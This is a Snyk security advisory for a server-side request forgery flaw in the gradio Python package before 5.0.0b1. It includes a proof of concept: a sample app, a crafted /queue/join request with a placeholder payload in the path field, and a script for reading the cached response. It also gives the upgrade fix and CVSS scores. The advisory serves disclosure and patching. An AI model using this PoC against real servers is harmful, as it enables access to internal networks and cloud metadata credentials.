Server-Side Request Forgery (SSRF) Affecting gradio package, versions [,5.0.0b1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.08% (37th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-GRADIO-7217838
  • published 7 Jun 2024
  • disclosed 6 Jun 2024
  • credit mvlttt

How to fix?

Upgrade gradio to version 5.0.0b1 or higher.

Overview

gradio is a Python library for easily interacting with trained machine learning models

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) through the /queue/join endpoint and the save_url_to_cache function. An attacker can gain unauthorized access to internal networks or the AWS metadata endpoint by sending crafted requests that exploit insufficient validation of the path parameter.

PoC

Run the following example found in Gradio's documentation:

import gradio as gr

def upload_file(files): file_paths = [file.name for file in files] return file_paths

with gr.Blocks() as demo: file_output = gr.File() upload_button = gr.UploadButton("Click to Upload an Image or Video File", file_types=["image", "video"], file_count="multiple") upload_button.upload(upload_file, upload_button, file_output)

demo.launch()

Get a webhook url for testing.

Stop the requests with Burp Suite and replace the path parameter of the request going to the "/queue/join" endpoint with the payload. e.g:

POST /queue/join? HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json
Content-Length: 318

{ "data": [ [ { "meta": { "_type": "gradio.FileData" }, "path": "PAYLOAD", "url": "http://127.0.0.1:7860/file=/tmp/gradio/d1be868eeb62e5194df165ccd8becbc5b3ffb299/favicon.ico", "orig_name": "favicon.ico", "size": 15406, "mime_type": "image/x-icon" } ] ], "event_data": null, "fn_index": 0, "trigger_id": 2, "session_hash": "l8v6ku4cm8d" }

You will see an http get request coming to your webhook url.

Make the following request using the sha1 hash of the url to view the output of the request:

import hashlib
from pathlib import Path

url="PAYLOAD" sha1 = hashlib.sha1() sha1.update(url.encode("utf-8"))

print(f"http://127.0.0.1:7860/file=/tmp/gradio/{sha1.hexdigest()}/{Path(url).name}")

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.6 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None
Expand this section

NVD

8.6 high